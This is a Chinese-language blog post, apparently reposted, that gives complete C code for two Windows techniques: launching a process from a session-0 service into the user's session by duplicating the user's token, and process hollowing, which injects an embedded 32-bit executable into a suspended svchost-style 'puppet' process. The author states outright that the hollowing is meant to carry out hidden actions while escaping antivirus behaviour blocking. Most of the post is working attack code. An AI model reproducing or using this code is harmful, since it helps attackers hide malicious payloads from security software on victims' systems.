突破session 0隔离 和 劫持exe注入(转自梦无极)

代码基本源于网络,作用看个人需求。

session 0隔离是个老话题,这里简单讲讲,小伙伴们赶快看过来吧。

自vista系统开始,进程便有了session空间的概念,一般系统服务进程是在session 0的会话空间里面执行,其他应用程序都是在session 1或者session x会话空间中运行。一般情况下,进程A属于session x会话空间,那么它所创建的进程同样是属于session x会话空间。
当你写的是个系统服务的时候,由于系统服务进程处于session 0空间,所以该进程如果想创建出一个进程,那么创建出来的进程也就是属于session 0会话空间了。而session 0会话空间中能做的事情有限,比如无法显示一个操作界面,很难和用户交互。所以你必须在session 0会话空间中创建出属于非session 0会话空间的进程。
下面的代码展示了如何去做。

  1. BOOL CreateProcessS (
  2.         __in_opt    LPCWSTR lpApplicationName,
  3.         __inout_opt LPWSTR lpCommandLine,
  4.         __in_opt    LPSECURITY_ATTRIBUTES lpProcessAttributes,
  5.         __in_opt    LPSECURITY_ATTRIBUTES lpThreadAttributes,
  6.         __in        BOOL bInheritHandles,
  7.         __in        DWORD dwCreationFlags,
  8.         __in_opt    LPCWSTR lpCurrentDirectory,
  9.         __in        LPSTARTUPINFOW lpStartupInfo,
  10.         __out       LPPROCESS_INFORMATION lpProcessInformation
  11.         )
  12. {
  13.         BOOL  isSuccess = FALSE;
  14.         DWORD dwCurrentSessionId = 0;
  15.         ProcessIdToSessionId(GetCurrentProcessId(),&dwCurrentSessionId);
  16.         if (dwCurrentSessionId == 0)
  17.         {
  18.                 HANDLE        hToken = NULL;
  19.                 DWORD        dwSessionID = 0;
  20.                 LPVOID        lpEnvironment = NULL;
  21.                 HANDLE        hDuplicatedToken = NULL;
  22.                 //服务进程会话id为零,以下代码用于绕过session 0隔离
  23.                 dwSessionID = WTSGetActiveConsoleSessionId();
  24.                 // 获得当前Session的用户令牌
  25.                 if (WTSQueryUserToken(dwSessionID,&hToken) == FALSE)
  26.                 {
  27.                         goto Cleanup;
  28.                 }
  29.                 // 复制令牌
  30.                 if (DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityIdentification, TokenPrimary,&hDuplicatedToken) == FALSE)
  31.                 {
  32.                         goto Cleanup;
  33.                 }
  34.                 // 创建用户Session环境
  35.                 if (CreateEnvironmentBlock(&lpEnvironment,hDuplicatedToken,FALSE) == FALSE)
  36.                 {
  37.                         goto Cleanup;
  38.                 }
  39.                 // 在复制的用户Session下执行应用程序,创建进程。
  40.                 if ((isSuccess = CreateProcessAsUser(hDuplicatedToken,lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,
  41.                         dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation) )== FALSE)
  42.                 {
  43.                         goto Cleanup;
  44.                 }
  45.                 // 清理工作
  46. Cleanup:
  47.                 if (hToken != NULL)
  48.                 {
  49.                         CloseHandle(hToken);
  50.                 }
  51.                 if (hDuplicatedToken != NULL)
  52.                 {
  53.                         CloseHandle(hDuplicatedToken);
  54.                 }
  55.                 if (lpEnvironment != NULL)
  56.                 {
  57.                         DestroyEnvironmentBlock(lpEnvironment);
  58.                 }
  59.         }
  60.         else
  61.         {
  62.                 isSuccess = CreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,dwCreationFlags,NULL,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
  63.         }
  64.         return isSuccess;
  65. }
复制代码



简单吧,代码主要来自网络。

有了创建的代码还不行,因为有时候我们服务进程需要做一点儿猥琐的事情,比如创建一个傀儡进程,比如选择一个svchost作为傀儡进程,然后执行我们偷偷想要做的事情。创建傀儡进程的好处是杀毒基本不会管你傀儡进程中做什么事情,那就不用考虑行为拦截问题了。

  1. void CreatePuppetProcess(HMODULE hModule,WCHAR *pszPuppetImagePath)
  2. {
  3.         int                                i;
  4.         HRSRC                        hrSrc;
  5.         HGLOBAL                        hg;
  6.         DWORD                        dwSize;
  7. #ifdef _WIN64
  8.         WOW64_CONTEXT                ThreadContext = {0};
  9. #else
  10.         CONTEXT                        ThreadContext = {0};
  11. #endif // _WIN64
  12.         DWORD                        dwPuppetProcessImageBase = 0;
  13.         PVOID                        lpNewProcessImageBase = NULL;
  14.         SIZE_T                        NumberOfBytes = 0;
  15.         PIMAGE_DOS_HEADER                lpImageDosHeader = NULL;
  16.         PIMAGE_NT_HEADERS32                lpImageNtHeaders = NULL;
  17.         PIMAGE_SECTION_HEADER        lpImageSectionHeader = NULL;
  18.         STARTUPINFO                                StartupInfo = {0};
  19.         PROCESS_INFORMATION                ProcessInfo = {0};
  20.         ZWUNMAPVIEWOFSECTION        pfnZwUnmapViewOfSection = NULL;
  21.         StartupInfo.cb = sizeof(STARTUPINFO);
  22.         hrSrc =  FindResourceA(hModule, MAKEINTRESOURCEA(IDR_DLL1),"DLL"); 
  23.         hg = LoadResource(hModule, hrSrc);
  24.         dwSize = SizeofResource( hModule,hrSrc);
  25.         if (dwSize == 0){        return;        }
  26.         pfnZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(LoadLibraryA("ntdll.dll"),"ZwUnmapViewOfSection");
  27.         if (pfnZwUnmapViewOfSection == NULL){        return;        }
  28.         lpImageDosHeader = (PIMAGE_DOS_HEADER)hg;
  29.         lpImageNtHeaders = (PIMAGE_NT_HEADERS32)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew);
  30.         lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
  31.         if (CreateProcessS(pszPuppetImagePath/*L"C:\Windows\System32\calc.exe"*/,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,&StartupInfo,&ProcessInfo) == FALSE)
  32.         {
  33.                 goto __exit;
  34.         }
  35.         ThreadContext.ContextFlags = CONTEXT_FULL;
  36. #ifdef _WIN64
  37.         if (Wow64GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
  38.         {
  39.                 goto __exit;
  40.         }
  41. #else
  42.         if (GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
  43.         {
  44.                 goto __exit;
  45.         }
  46. #endif // _WIN64
  47.         if (ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(ThreadContext.Ebx + 0x8),&dwPuppetProcessImageBase,sizeof(DWORD),&NumberOfBytes) == FALSE)
  48.         {
  49.                 goto __exit;
  50.         }
  51.         if (dwPuppetProcessImageBase == lpImageNtHeaders->OptionalHeader.ImageBase)
  52.         {
  53.                 pfnZwUnmapViewOfSection(ProcessInfo.hProcess,(PVOID)dwPuppetProcessImageBase);
  54.         }
  55.         lpNewProcessImageBase = VirtualAllocEx(ProcessInfo.hProcess,
  56.                 (LPVOID)(ULONG_PTR)lpImageNtHeaders->OptionalHeader.ImageBase,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfImage,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  57.         if (lpNewProcessImageBase == NULL)
  58.         {
  59.                 int error = GetLastError();
  60.                 goto __exit;
  61.         }
  62.         if (WriteProcessMemory(ProcessInfo.hProcess,lpNewProcessImageBase,lpImageDosHeader,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfHeaders,&NumberOfBytes) == FALSE)
  63.         {
  64.                 goto __exit;
  65.         }
  66.         for (i = 0;i < lpImageNtHeaders->FileHeader.NumberOfSections;i++)
  67.         {
  68.                 WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)((ULONG_PTR)lpNewProcessImageBase + lpImageSectionHeader[i].VirtualAddress),
  69.                         (LPCVOID)((ULONG_PTR)hg + lpImageSectionHeader[i].PointerToRawData),(SIZE_T)lpImageSectionHeader[i].SizeOfRawData,&NumberOfBytes);
  70.         }
  71. #ifdef _WIN64
  72.         WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
  73.         ThreadContext.Eax = 0;
  74.         ThreadContext.Eax = (ULONG)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
  75.         Wow64SetThreadContext(ProcessInfo.hThread,&ThreadContext);
  76. #else
  77.         WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
  78.         ThreadContext.Eax = (DWORD)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
  79.         SetThreadContext(ProcessInfo.hThread,&ThreadContext);
  80. #endif // _WIN64
  81.         ResumeThread(ProcessInfo.hThread);
  82. __exit:
  83.         if (ProcessInfo.hProcess != NULL)
  84.         {
  85.                 CloseHandle(ProcessInfo.hProcess);
  86.         }
  87.         if (ProcessInfo.hThread != NULL)
  88.         {
  89.                 CloseHandle(ProcessInfo.hThread);
  90.         }
  91. }
复制代码



首先这个代码是把一个exe程序放在了资源里面,函数第一个参数的模块句柄是当前模块的句柄,如果是dll,那么就是dll的模块句柄。如果你想测试此函数效果,那么你写的就是exe程序运行此函数,这时这里的模块句柄可以为NULL。至于怎么把文件添加到资源,这里我就不讲解方法了,网上很多资料。

必须注意的是,你所要创建的傀儡进程必须是32位的,你放在资源中的exe也必须是32位的。而你调用CreatePuppetProcess函数所在的进程可以是32位或者64位。


然后通过此代码你就可以实现创建一个傀儡进程了,如果是在session 0会话空间中创建傀儡进程,这里还会实现突破session 0隔离创建进程。


小伙伴们赶紧自己去实验吧,更多内容请关注mengwuji.net后续动态。

原文地址:https://www.cnblogs.com/15157737693zsp/p/4691116.html